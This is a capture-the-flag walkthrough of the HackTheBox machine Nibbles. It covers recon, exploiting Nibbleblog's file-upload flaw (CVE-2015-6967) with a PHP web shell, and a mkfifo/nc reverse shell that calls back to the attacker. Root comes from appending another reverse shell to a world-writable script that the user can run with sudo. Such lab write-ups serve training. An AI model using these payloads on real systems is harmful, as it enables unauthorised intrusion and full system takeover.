HTB: Nibbles
Nibbles is one of the easier boxes on HTB. It hosts a vulnerable instance of nibbleblog. There’s a Metasploit exploit for it, but it’s also easy to do without MSF, so I’ll show both. The privesc involves abusing sudo
on a file that is world-writable.
Box Info
Name | Nibbles Play on HackTheBox |
---|---|
Release Date | 13 Jan 2018 |
Retire Date | 04 May 2024 |
OS | Linux |
Base Points | Easy [20] |
Rated Difficulty | |
Radar Graph | |
02:20:53 |
|
02:24:34 |
|
Creator |
nmap
An initial nmap scan showed only web/http (80) and ssh (22):
root@kali# nmap -sV -sC -oA nmap/initial 10.10.10.75
Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-08 19:10 EST
Nmap scan report for 10.10.10.75
Host is up (0.099s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (EdDSA)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.41 seconds
Site - port 80 recon
web root
The root page simply returns a “hello world” message:
However, looking at the source provides a hint as to where to go next:
<b>Hello world!</b>
<!-- /nibbleblog/ directory. Nothing interesting here! -->
/nibbleblog
At /nibbleblog/
, there’s a empty instance of a blog, “Powered by Nibbleblog”:
gobuster
As there’s not much obvious to do with this blog, let’s start a gobuster
to see what pages are there. Having noticed that the links on the page were to php files, we’ll search for php and txt extensions:
root@kali# gobuster -u http://10.10.10.75/nibbleblog/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x php,txt
Gobuster v1.4.1 OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.75/nibbleblog/
[+] Threads : 20
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 301,302,307,200,204
[+] Extensions : .php,.txt
=====================================================
/index.php (Status: 200)
/sitemap.php (Status: 200)
/content (Status: 301)
/themes (Status: 301)
/feed.php (Status: 200)
/admin (Status: 301)
/admin.php (Status: 200)
/plugins (Status: 301)
/install.php (Status: 200)
/update.php (Status: 200)
/README (Status: 200)
/languages (Status: 301)
/LICENSE.txt (Status: 200)
/COPYRIGHT.txt (Status: 200)
Identifying a username
In exploring the resulting paths, /nibbleblog/content
is interesting, and has dir lists enabled. Digging deeper, there’s a page at /nibbleblog/content/private/users.xml
which reveals a user, admin, as well as the IPs that have tried to log in as it:
<users>
<user username="admin">
<id type="integer">0</id>
<session_fail_count type="integer">0</session_fail_count>
<session_date type="integer">1520559147</session_date>
</user>
<blacklist type="string" ip="10.10.10.1">
<date type="integer">1512964659</date>
<fail_count type="integer">1</fail_count>
</blacklist>
<blacklist type="string" ip="10.10.14.80">
<date type="integer">1520559030</date>
<fail_count type="integer">4</fail_count>
</blacklist>
</users>
logging into admin panel
The gobuster
also showed a /admin.php
path, and that presents a login page:
I wasn’t able to locate a password elsewhere on the blog, and nibbleblog doesn’t have a default password. Luckily, the guess of nibbles worked, and we are in:
Remote Code Execution (via file upload):
From the gobuster
results, there’s a README
file, and that gives us a version:
====== Nibbleblog ======
Version: v4.0.3
Codename: Coffee
Release date: 2014-04-01
...
This version of nibbleblog is vulnerable to CVE-2015-6967, which is an authenticated arbitrary file upload, which can lead to code execution. There’s both a metasploit modules, and it’s pretty straightforwards to do manually.
Metasploit –> Meterpreter
We’ll use multi/http/nibbleblog_file_upload
to get a shell on the box.
msf exploit(multi/http/nibbleblog_file_upload) > info
Name: Nibbleblog File Upload Vulnerability
Module: exploit/multi/http/nibbleblog_file_upload
Platform: PHP
Arch: php
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2015-09-01
Provided by:
Unknown
Roberto Soares Espreto <robertoespreto@gmail.com>
Available targets:
Id Name
-- ----
0 Nibbleblog 4.0.3
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD nibbles yes The password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 10.10.10.75 yes The target address
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /nibbleblog/ yes The base path to the web application
USERNAME admin yes The username to authenticate with
VHOST no HTTP server virtual host
Payload information:
Description:
Nibbleblog contains a flaw that allows an authenticated remote
attacker to execute arbitrary PHP code. This module was tested on
version 4.0.3.
References:
http://blog.curesec.com/article/blog/NibbleBlog-403-Code-Execution-47.html
msf exploit(multi/http/nibbleblog_file_upload) > run
[*] Started reverse TCP handler on 10.10.14.157:4444
[*] Sending stage (37543 bytes) to 10.10.10.75
[*] Meterpreter session 2 opened (10.10.14.157:4444 -> 10.10.10.75:56052) at 2018-03-08 20:51:40 -0500
[+] Deleted image.php
meterpreter > shell
Process 3816 created.
Channel 0 created.
id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
user.txt
From there, we’ll upgrade our shell, and then get user.txt:
python -c 'import pty;pty.spawn("/bin/bash")'
/bin/sh: 1: python: not found
python3 -c 'import pty;pty.spawn("/bin/bash")'
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$ cd /home
nibbler@Nibbles:/home$ ls
nibbler
nibbler@Nibbles:/home$ cd nibbler
nibbler@Nibbles:/home/nibbler$ ls
personal personal.zip user.txt
nibbler@Nibbles:/home/nibbler$ wc -c user.txt
33 user.txt
nibbler@Nibbles:/home/nibbler$ cat user.txt
b02ff32b...
Without Metasploit
This blog provides a good write up of CVE-2015-6967, and how to exploit it.
- Obtain admin credentials - we already have this.
- Activate the “My image” plugin. If we click on “Plugings” on the menu on the left side of the admin page, it takes us to a list of installed plugins: So we can click “configure” under the vulnerable plugin, “My image”. We’re given an upload form:
- Use the form to upload cmd.php.
root@kali# cat cmd.php <?php system($_REQUEST['cmd']); ?>
- Visit
http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php?cmd=[command]
For whatever reason, I’m finding that my session with this site isn’t lasting long (probably other users logging in and stepping on my shell, since they are all named image.php). So let’s get a real shell. We’ll change out php to this:
root@kali# cat callback.php
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.154 8082 >/tmp/f"); ?>
Then repeat the steps above, and on visiting image.php
:
root@kali# nc -lnvp 8082
listening on [any] 8082 ...
connect to [10.10.15.154] from (UNKNOWN) [10.10.10.75] 55268
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
Privesc
Either through running LinEnum.sh
or just by checking sudo -l
, we’ll see the following:
nibbler@Nibbles:/$ sudo -l
sudo: unable to resolve host Nibbles: Connection timed out
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
So with no password, we can run monitor.sh
.
monitor.sh
is a publicly available script:
nibbler@Nibbles:/home/nibbler/personal/stuff$ head monitor.sh
####################################################################################################
# Tecmint_monitor.sh #
# Written for Tecmint.com for the post www.tecmint.com/linux-server-health-monitoring-script/ #
# If any bug, report us in the link below #
# Free to use/edit/distribute the code below by #
# giving proper credit to Tecmint.com and Author #
# #
####################################################################################################
#! /bin/bash
# unset any variable which system may be using
But it doesn’t really matter, since the script is world-writable:
nibbler@Nibbles:/home/nibbler/personal/stuff$ ls -l
total 4
-rwxrwxrwx 1 nibbler nibbler 80 Jun 24 07:27 monitor.sh
In fact, if you are on the free, you’re very likely to find this file completely overwritten with other people’s privesc.
Rather than bluntly overwriting the script, we’ll append our shell to the end:
nibbler@Nibbles:/home/nibbler/personal/stuff$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.154 8083 > /tmp/f" >> monitor.sh
< /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.154 8083 > /tmp/f" >> monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh
root@kali# nc -lnvp 8083
listening on [any] 8083 ...
connect to [10.10.15.154] from (UNKNOWN) [10.10.10.75] 52184
# id
uid=0(root) gid=0(root) groups=0(root)
root.txt
Now it’s easy to grab the root flag:
# cd /root
# wc -c root.txt
33 root.txt
# cat root.txt
b6d745c0...